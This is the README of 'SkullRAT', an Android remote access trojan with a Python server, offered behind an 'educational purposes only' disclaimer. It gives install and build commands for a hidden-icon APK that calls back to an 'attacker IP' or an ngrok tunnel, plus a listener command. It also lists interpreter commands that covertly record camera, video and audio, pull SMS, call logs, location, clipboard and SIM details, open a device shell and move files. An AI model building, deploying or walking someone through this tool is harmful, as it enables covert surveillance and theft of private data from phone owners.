Disclaimer : This software is meant for educational purposes only. I don't feel responsible for any malicious use of the app.
SkullRAT is a tool designed to give the control of the android system remotely and retrieve informations from it. SkullRAT is a client/server application developed in Java Android for the client side and the Server is in Python.
SkullRAT also works on Android 10 (Q) but some of the interpreter command will be unstable.
SkullRAT requires Python (3.6-3.8) and JAVA 8 (or Android Studio)
git clone https://github.com/lewdhak/SkullRAT.git
pip install -r requirements.txt
While cloning the repository using Git bash on windows, you may get the following error:
error: unable to create file <filename>: Filename too long
This is because the Git has a limit of 4096 characters for a filename, except on Windows when Git is compiled with msys. It uses an older version of the Windows API and there's a limit of 260 characters for a filename.
You can circumvent this by setting core.longpaths to true.
git config --system core.longpaths true
You must run Git bash with administrator privileges.
- To get the control panel of the app dial
*#*#1337#*#*(For now it has only two optionsRestart ActivityandUninstall)
Note: In order to use this feature in some devices you need to enable the option
display pop-up windows running in backgroundfrom the settings.
--build- for building the android apk--ngrok- for using ngrok tunnel (over the internet)--shell- getting an interactive shell of the device
Usage:
python skullRAT.py --build --ngrok [flags]
Flags:
-p, --port Attacker port number (optional by default its set to 8000)
-o, --output Name for the apk file (optional by default its set to "lewd.apk")
-icon, --icon Visible icon after installing apk (by default set to hidden)
Usage:
python skullRAT.py --build [flags]
Flags:
-i, --ip Attacker IP address (required)
-p, --port Attacker port number (required)
-o, --output Name for the apk file (optional)
-icon, --icon Visible icon after installing apk (by default set to hidden)
Or you can manually build the apk by importing Android Code folder to Android Studio and changing the IP address and port number in config.java file and then you can generate the signed apk from Android Studio -> Build -> Generate Signed APK(s)
Usage:
python skullRAT.py --shell [flags]
Flags:
-i, --ip Listner IP address
-p, --port Listner port number
After running the shell mode you will get an interpreter of the device
Commands which can run on the interpreter
deviceInfo --> returns basic info of the device
camList --> returns cameraID
takepic [cameraID] --> Takes picture from camera
startVideo [cameraID] --> starts recording the video
stopVideo --> stop recording the video and return the video file
startAudio --> starts recording the audio
stopAudio --> stop recording the audio
getSMS [inbox|sent] --> returns inbox sms or sent sms in a file
getCallLogs --> returns call logs in a file
shell --> starts a sh shell of the device
vibrate [number_of_times] --> vibrate the device number of time
getLocation --> return the current location of the device
getIP --> returns the ip of the device
getSimDetails --> returns the details of all sim of the device
clear --> clears the screen
getClipData --> return the current saved text from the clipboard
getMACAddress --> returns the mac address of the device
exit --> exit the interpreter
In the sh shell there are some sub commands
get [full_file_path] --> donwloads the file to the local machine (file size upto 15mb)
put [filename] --> uploads the file to the android device
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To build the apk using ngrok which will also set the listner:
python skullRAT.py --build --ngrok -o evil.apk -
To build the apk using desired ip and port:
python skullRAT.py --build -i 192.169.x.x -p 8000 -o evil.apk -
To get the interpreter:
python skullRAT.py --shell -i 0.0.0.0 -p 8000
Ngrok support- Set up multi client
- Add screenshot command
SkullRAT is licensed under MIT license take a look at the LICENSE for more information.